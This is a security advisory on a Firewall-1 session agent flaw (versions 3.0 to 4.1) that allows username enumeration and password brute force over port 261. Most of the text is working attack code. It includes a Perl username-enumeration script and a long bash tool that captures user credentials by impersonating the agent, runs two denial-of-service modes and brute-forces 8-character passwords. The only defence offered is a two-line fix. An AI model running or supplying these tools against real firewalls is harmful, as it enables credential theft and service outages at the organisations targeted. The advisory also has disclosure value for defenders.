COMMAND

    FW-1

SYSTEMS AFFECTED

    Firewall-1 session agent 3.0 -> 4.1

PROBLEM

    Gregory Duchemin found following.   Every session agents from  3.0
    to 4.1 (4.1  included, all platforms)  are vulnerables to  a brute
    force and dictionnary style password attack.  While authenticating
    a user through his port  261, firewall modules send a  "331 User:"
    string to the  agent, wait for  an answer, and  then reply with  a
    "220 User  .... not  found" directly  followed by  "530 NOTOK"  if
    username doesn't  match the  user database.   If username  exists,
    firewall  will  simply  reply  "331  *FireWall-1 password:" before
    waiting for a pass  value.  So the  same weakness that on  the old
    version of unix's login, we can know if a username is or isn't.

    Try

        #nc -l -p 261

    on your workstation then connect  to an outside service that  need
    session authentication.

    Because  firewall-1  doesn't  close  the  connection  just after a
    mistaked  username  or  password  submission  and  seems  to  wait
    indefinitly for a correct entry, it should be really efficient  to
    mount such an attack.  Usernames  and passwords are up to 8  chars
    length and are usually built on some logical rules (typicaly based
    on  first  and  last  names  for  usernames  and  more generaly on
    dictionaries words).

    A C or perl program with dictionnary trying permutations onto each
    word should be  able to quickly  recover many corporate  accounts.
    This program would be  a little daemon, and  would have to send  a
    spoofed  request  to  outside  before  each connection, finally it
    should  be  able  to  accept  a significant number of simultaneous
    connection to increase its chances of success.

    Nelson Brito added following code:

    #!/usr/bin/perl -w
    #
    # File  :       brute-fw1-agent.pl
    # Author:       Nelson Brito<nelson@secunet.com.br || nelson@sekure.org>
    #
    # Untested code, use on your own risc.
    #
    use Socket;

    $c = 0; $port = 261; #$proto = getprotobyname('tcp');

    socket(FAGENT, PF_INET, SOCK_STREAM, getprotobyname("tcp"))     or die
    "socket:$!";
    setsockopt(FAGENT, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))      or die
    "setsockopt: $!";
    bind(FAGENT, sockaddr_in($port, INADDR_ANY))                    or die
    "bind: $!";
    listen(FAGENT, SOMAXCONN)                                       or die
    "listen: $!";

    open(SDI, "users") or die "open: $!\n";
    until(eof(SDI)){
            $user = <SDI>; chomp($user);
            next if ($user=~/^\s*#/);
            next if ($user=~/^\s*$/);
            push @users, $user;
    }
    close(SDI);

    while(accept(MODULE, FAGENT)){
    LINE:   $c++;
            print STDOUT "[+] Hii... I'm on TV $c times!\n";
            recv(MODULE, $target, 1024, 0);
            if($target=~/^331/i){
                    chomp($users[0]);
                    send(MODULE, "$users[0]\n", 0);
                    recv(MODULE, $target, 1024, 0);
                    if($target=~/^220/){
                            recv(MODULE, $target, 1024, 0);
                            if($target=~/^530/){
                                    shift @users; goto LINE;
                            }else{
                                    die "[-] Unknow code. What happened?\n";
                            }
                    }elsif($target=~/^331/){
                            print STDOUT "[+] The $users[0] username is
    right!\n";
                    }else{
                            die "[-] Uknow return code. What happened?\n";
                    }
            }else{
                    die "[-] Unknow return code. What happened?\n";
            }

    }

    Gregory gave following code:

    #!/bin/bash
    #
    # Fwsa (FW-1 session auth), tested on linux 2.4.0 beta
    # ( Swiss army knife for FW-1 Session authentication. )
    #
    # successfully tested against Session Authentication Agents 4.0 & 4.1
    # and Firewall-1 module 4.0
    #
    # please don't use it for any illegal activity but only for educational purposes
    #
    #         Gregory Duchemin   ( aka c3rb3r )
    #
    #     for help or bug report <==> c3rb3r@hotmail.com
    
    # 0ctober 2000
    
    function Usage()
    {
    echo
    echo " Usage: "$0" Targets_filez  type_of_attack [FQDN name] [dict file] [0/1/2/3]"
    echo
    echo "================proof of concept // Version 1.0 ==="
    echo "==================================================="
    echo
    echo " Note: Targets_filez is a plaintext file with all IPs to check"
    echo "       I recommend u to make it with the help of Nmap "
    echo "       Try nmap -T Insane -sS -P0 -p 261 RANGE_IP to look for listening session agents."
    echo " Note: Type of attack is 1 for password recovery, 2 for stupid DOS, 3 for "
    echo "       dangerous DOS and 4 for bruteforcing users password on Firewall"
    echo
    echo "       * password recovery will turn you back user FW1 login/password"
    echo "       * stupid DOS just open a connexion and wait for nothing"
    echo "         It'll block all other connexion and so, user access."
    echo "       * dangerous DOS will enter an infinite loop within it send garbage."
    echo "         Will crash some weak systems. ( find wich ones ;) ) "
    echo "       * passwords Brute-force try to guess users password onto "
    echo "         the corporate firewall. Have to supply an external address in filez"
    echo "         to force firewall to connect on local port ( port 261 )."
    echo
    echo " Note: FQDN name is Fully Qualified Domain name, default:firewall used for FW-1 "
    echo " banner."
    echo " Note: Change the internal variables filez and logfile to store your stock into, default:\"...\""
    echo " Note: this proggy needs netcat to nicely work."
    echo
    echo " G00d Hunt !"
    echo
    echo " author:  Gregory Duchemin  ( aka c3rb3r )"
    echo "                          c3rb3r@hotmail.com "
    echo
    echo " N0 c0pyright, feel free to use or modify it as u want"
    echo
    }
    
    signal_handler()
    {
    sync
    echo
    echo "Warning: target aborted, continuing with next one..."
    echo
    echo
    }
    
    
    filtered()
    {
    echo
    echo "Error: target port 261 doesn't respond"
    echo "       it should be because target is filtering or is down."
    echo "       Anyway, try again spoofing firewall address."
    echo "       Arptool should be helpfull to do the job"
    echo
    }
    
    closed()
    {
    echo
    echo "Error: target port 261 is closed"
    echo "       continuing with next ip."
    echo
    echo
    }
    
    simple_dos()
    {
    for i in $ip; do
    echo
    echo "***********************************************"
    echo "Launching stupid DOS attack against "$i" !"
    echo "***********************************************"
    echo
    echo
    {
    sleep $timeout
    sync
    }| nc -n -w 2 -v $i 261 > $logfile 2>&1
    if [ `awk '{ print $7 }' $logfile` = "refused" ]; then
    closed
    else
    if [ `awk '{ print $7 }' $logfile` = "timed" ]; then
    filtered
    fi
    fi
    done
    rm $logfile
    echo
    echo "DOS terminated. ( Hope it's ok)"
    echo
    }
    
    
    dangerous_dos()
    {
    for i in $ip; do
    echo
    echo "****************************************************"
    echo "Launching dangerous DOS attack against "$i" !"
    echo "****************************************************"
    echo
    echo
    {
    sleep $timeout
    cat /dev/random
    }| nc -n -w 2 -v $i 261  > $logfile 2>&1
    if [ $( awk '{ print $7 }' $logfile) = "refused" ]; then
    closed
    else
    if [ $(awk '{ print $7 }' $logfile) = "timed" ]; then
    filtered
    fi
    fi
    done
    rm $logfile
    echo
    echo "DOS terminated. ( Hope it's ok)"
    echo
    }
    
    
    password_recovery()
    {
    for i in $ip; do
    echo
    echo "*****************************************************"
    echo "Launching FW1 password recovery against "$i" !"
    echo "*****************************************************"
    echo
    echo
    {
    sleep $timeout
    sync
    cat /dev/null > $logfile
    echo "220 FW-1 Session Authentication Request from "$name
    echo "211 253141732 1988 3931424644 80 5"
    echo "331 User:"
    sync
    # synchronisation of buffers and disks
    while [ ! -s $logfile ]; do
    # waiting for user info supply in logfile
    sleep 1
    done
    user=$(cat $logfile)
    
    echo "331 *Firewall-1 password:"
    
    while [ `wc -l $logfile|awk '{ print $1 }'` -eq 1 ]; do
    sleep 1
    done
    sed 's/'$user'//' $logfile | sed '/./,$!d' > ./tmp
    password=$(cat ./tmp)
    rm ./tmp
    echo "200 User $user authenticated by Firewall-1 authentication."
    echo "230 OK"
    sleep 2
    echo >> $filez
    echo >> $filez
    echo "===== Password recovery ============================================" >> $filez
    echo "====================================================================" >> $filez
    echo " Target <==> $i" >> $filez
    echo >> $filez
    echo " Username <==> $user    Password <==> $password" >> $filez
    echo >> $filez
    echo >> $filez
    exit 0
    }| nc  -n -w 2 -v $i 261  > $logfile
    if [ -f ./tmp ]; then
    rm tmp
    fi
    done
    if [ -f $logfile ]; then
    rm $logfile
    fi
    echo
    echo "Done. ( see "$filez" to read stolen informations)"
    echo
    }
    
    
    
    password_bruteforce()
    {
    for i in $ip; do
    
    
    echo
    echo "*****************************************************"
    echo "Launching FW1 password BruteForce attack "
    echo "*****************************************************"
    echo
    echo
    
    
    if [ -s $logfile ]; then
    cat /dev/null > $logfile
    fi
    
    # We use as many char string as there are in password because
    # most of the time, admin won't use a "real" random generator but
    # a program that use a basic scheme.
    # if u understand this scheme and modify the string below, u should be able to increase significantly your chances of succeed.
    # if passwords in your company are less than 8 chars, comment useless lines
    
    # password scheme:
    # for instance, first letter could be uppercase ( A or H string depending on order byte ).
    # initial values are commented
    
    #A='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
    A='A B C D E F G H I J K L M N O P Q R S T U V W X Y Z'
    
    B='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
    C='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
    D='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
    E='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
    F='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
    G='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
    H='a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0'
    {
    # we send a probe to anywhere in the world port 80 (or whatever fw rules allow), waiting for FW answer
    nc -w 2 -n $i 80 > /dev/null 2>&1
    
    # waiting for invitation caller
    grep 331 $logfile > /dev/null
    while [ $? -eq 1 ];
    do
    grep 331 $logfile > /dev/null
    done
    
    # we try now our login names until we get back the magic cookie
    # actually we read login names in a file, it should be more efficient since most of admins use real names.
    # u can use brute force to guess login in the same manner we use it for passwords.
    # in this case, just change the few lines below to use chars strings from 1 up to 8 loops.
    
    for user in $username
    do
    cat /dev/null > $logfile
    sync
    echo $user
    
    # 530 eg NOTOK, error response
    # fw1 session authentication reply with an error code if username doesn't exist, that's a flaw in itself.
    
    sleep $timeout
    
    grep 530 $logfile > /dev/null
    if [ $? -eq 1 ]; then
    echo "===== Password Brute force ============================================" >> $filez
    echo "====================================================================" >> $filez
    echo >> $filez
    echo >> $filez
    echo " login ok :"$user >> $filez
    echo >> $filez
    echo >> $filez
    echo $user >> ./.users
    sync
    continue
    fi
    done
    
    if [ ! -f ./.users ]; then
    exit
    fi
    
    targets=`cat ./.users`
    rm ./.users
    
    # Now it's time  we try to guess password for this user
    # if passwords in your company are less than 8 chars, comment useless loops.
    
    
    for user in $targets
    do
    
    for i8 in $H
    do
    for i7 in $G
    do
    
    # this rule is optional
    if [ $i7 = $i8 ]; then
    continue
    fi
    
    for i6 in $F
    do
    
    # this rule is optional
    if [ $i6 = $i7 ]; then
    continue
    fi
    
    for i5 in $E
    do
    
    # this rule is optional
    if [ $i5 = $i6 ]; then
    continue
    fi
    
    for i4 in $D
    do
    
    # this rule is optional
    if [ $i4 = $i5 ]; then
    continue
    fi
    
    for i3 in $C
    do
    
    # this rule is optional
    if [ $i3 = $i4 ]; then
    continue
    fi
    
    for i2 in $B
    do
    
    # this rule is optional
    if [ $i2 = $i3 ]; then
    continue
    fi
    
    for i1 in $A
    do
    
    # this rule is optional
    if [ $i1 = $i2 ]; then
    continue
    fi
    
    
    # waiting for server
    
    grep 331 $logfile > /dev/null
    while [ $? -eq 1 ];
    do
    grep 331 $logfile > /dev/null
    done
    
    
    # order is fetched by the user (see usage), and may be usefull for multi-process bruteforce.
    
    if [ $order -eq 0 ]; then
    echo $i1$i2$i3$i4$i5$i6$i7$i8
    # for debugging purpose
    echo "trying $i1$i2$i3$i4$i5$i6$i7$i8" >> $filez
    else
    if [ $order -eq 1 ]; then
    echo $i1$i7$i6$i5$i4$i3$i2$i8
    echo "trying $i1$i7$i6$i5$i4$i3$i2$i8" >> $filez
    else
    if [ $order -eq 2 ]; then
    echo $i1$i5$i8$i2$i4$i7$i3$i6
    echo "trying $i1$i5$i8$i2$i4$i7$i3$i6" >> $filez
    else
    echo $i1$i2$i4$i7$i8$i3$i6$i5
    echo "trying $i1$i2$i4$i7$i8$i3$i6$i5" >> $filez
    fi
    fi
    fi
    sync
    usleep $utimeout
    
    # 230 eg OK, password is correct
    
    grep 230 $logfile > /dev/null
    if [ $? -eq 0 ]; then
    echo >> $filez
    if [ $order -eq 0 ]; then
    echo "password ok :"$i1$i2$i3$i4$i5$i6$i7$i8 >> $filez
    else
    if [ $order -eq 1 ]; then
    echo "password ok :"$i8$i7$i6$i5$i4$i3$i2$i1 >> $filez
    else
    if [ $order -eq 2 ]; then
    echo "password ok :"$i8$i5$i1$i2$i4$i7$i3$i6 >> $filez
    else
    echo "password ok :"$i2$i1$i4$i7$i8$i3$i6$i5 >> $filez
    fi
    fi
    fi
    echo >> $filez
    echo >> $filez
    exit
    fi
    
    # we r supposed to reinject username each time, this one we just discovered
    # but connexion is still alive that's the major flaw.
    
    grep 331 $logfile > /dev/null
    while [ $? -eq 1 ];
    do
    grep 331 $logfile > /dev/null
    done
    
    echo $user
    done
    done
    done
    done
    done
    done
    done
    done
    
    done
    }| nc  -n  -l -p 261  > $logfile 2>&1
    
    #if [ -f $logfile ]; then
    #rm $logfile
    #fi
    done
    echo
    echo "Done. ( see "$filez" to read stolen informations)"
    echo
    }
    
    
    
    if [ $# -lt 2 ]; then
    Usage
    exit
    fi
    
    nc -h  > /dev/null 2>&1
    if [ ! $? -eq 1 ]; then
    Usage
    echo
    echo
    echo "Error: "$0" needs netcat to properly run, please check u have it in your \$PATH or compile it now."
    echo
    exit
    fi
    
    if [ ! $2 -eq 1 ] && [ ! $2 -eq 2 ] && [ ! $2 -eq 3 ] && [ ! $2 -eq 4 ]; then
    Usage
    echo
    echo
    echo "Error: Value for type of attack is out of range."
    echo
    exit
    fi
    
    if [ ! -s $1 ]; then
    Usage
    echo
    echo
    echo "Error: "$0" didn't find your Targets_ip filez."
    echo
    exit
    fi
    
    trap signal_handler SIGINT
    
    
    ip=`cat $1`
    
    
    # filez is where results are writen, please change it for your configuration
    # don't forget to change this values for every instance of the process, u would like to launch
    filez="./......"
    logfile="./logfile4"
    
    cat /dev/null > $filez
    
    name="fwl01"
    
    # timeout is connexion timer when waiting for a server response.
    
    timeout=2
    
    
    # utimeout is pretty important, specifically for brute force attack, lower value means faster loop but if too low, fw reply would be mistaken
    # that depends of your network round trip time and average firewall cpu usage.
    # try different values first: default 22 millisecond
    
    utimeout=22000
    
    if [ $# -gt 2 ]; then
    name=$3
    fi
    if [ $# -gt 2 ] && [ $2 -eq 4 ]; then
    if [ ! -s $3 ]; then
    Usage
    echo
    echo "Error: "$0" didn't find your dict filez or it's empty."
    echo
    exit
    fi
    username=`cat $3`
    fi
    
    order=0
    if [ $# -gt 3 ]; then
    order=$4
    fi
    
    if [ -f $logfile ]; then
    rm -f $logfile
    fi
    
    case "$2" in
    1)
       password_recovery
       ;;
    
    2)
      simple_dos
      ;;
    
    3)
      dangerous_dos
      ;;
    
    4)
      password_bruteforce
      if [ -s $filez ]; then
      cat $filez
      fi
      ;;
    
    *)
      exit 1
    esac
    exit

SOLUTION

    Just  verify  your  passwords  are  enough  hard in the same way u
    already did it with your unix passwords.  And for those who have a
    4.1 firewall module, just use encryption.